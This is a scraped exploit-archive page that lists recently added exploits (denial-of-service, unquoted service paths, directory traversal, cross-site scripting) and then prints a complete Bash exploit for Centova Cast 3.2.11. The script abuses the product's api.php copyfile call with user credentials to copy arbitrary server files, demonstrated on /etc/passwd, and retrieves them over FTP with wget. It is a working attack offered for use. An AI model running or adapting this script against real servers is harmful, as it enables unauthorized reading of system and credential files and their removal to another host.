3e9ff5a927
13 changes to exploits/shellcodes iSmartViewPro 1.3.34 - Denial of Service (PoC) Open Proficy HMI-SCADA 5.0.0.25920 - 'Password' Denial of Service (PoC) Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC) Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path ASUS HM Com Service 1.00.31 - 'asHMComSvc' Unquoted Service Path MobileGo 8.5.0 - Insecure File Permissions NCP_Secure_Entry_Client 9.2 - Unquoted Service Paths nipper-ng 0.11.10 - Remote Buffer Overflow (PoC) Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal Crystal Live HTTP Server 6.01 - Directory Traversal Centova Cast 3.2.11 - Arbitrary File Download TemaTres 3.0 - Cross-Site Request Forgery (Add Admin) TemaTres 3.0 - 'value' Persistent Cross-site Scripting
29 lines
No EOL
625 B
Bash
Executable file
29 lines
No EOL
625 B
Bash
Executable file
# Exploit Title: Centova Cast 3.2.11 - Arbitrary File Download
|
|
# Date: 2019-11-17
|
|
# Exploit Author: DroidU
|
|
# Vendor Homepage: https://centova.com
|
|
# Affected Version: <=v3.2.11
|
|
# Tested on: Debian 9, CentOS 7
|
|
|
|
#!/bin/bash
|
|
if [ "$4" = "" ]
|
|
then
|
|
echo "Usage: $0 centovacast_url user password ftpaddress"
|
|
exit
|
|
fi
|
|
url=$1
|
|
user=$2
|
|
pass=$3
|
|
ftpaddress=$4
|
|
|
|
dwn() {
|
|
curl -s -k "$url/api.php?xm=server.copyfile&f=json&a\[username\]=$user&a\[password\]=$pass&a\[sourcefile\]=$1&a\[destfile\]=1.tmp"
|
|
wget -q "ftp://$user:$pass@$ftpaddress/1.tmp" -O $2
|
|
}
|
|
|
|
dwn /etc/passwd passwd
|
|
echo "
|
|
|
|
/etc/passwd:
|
|
"
|
|
cat passwd |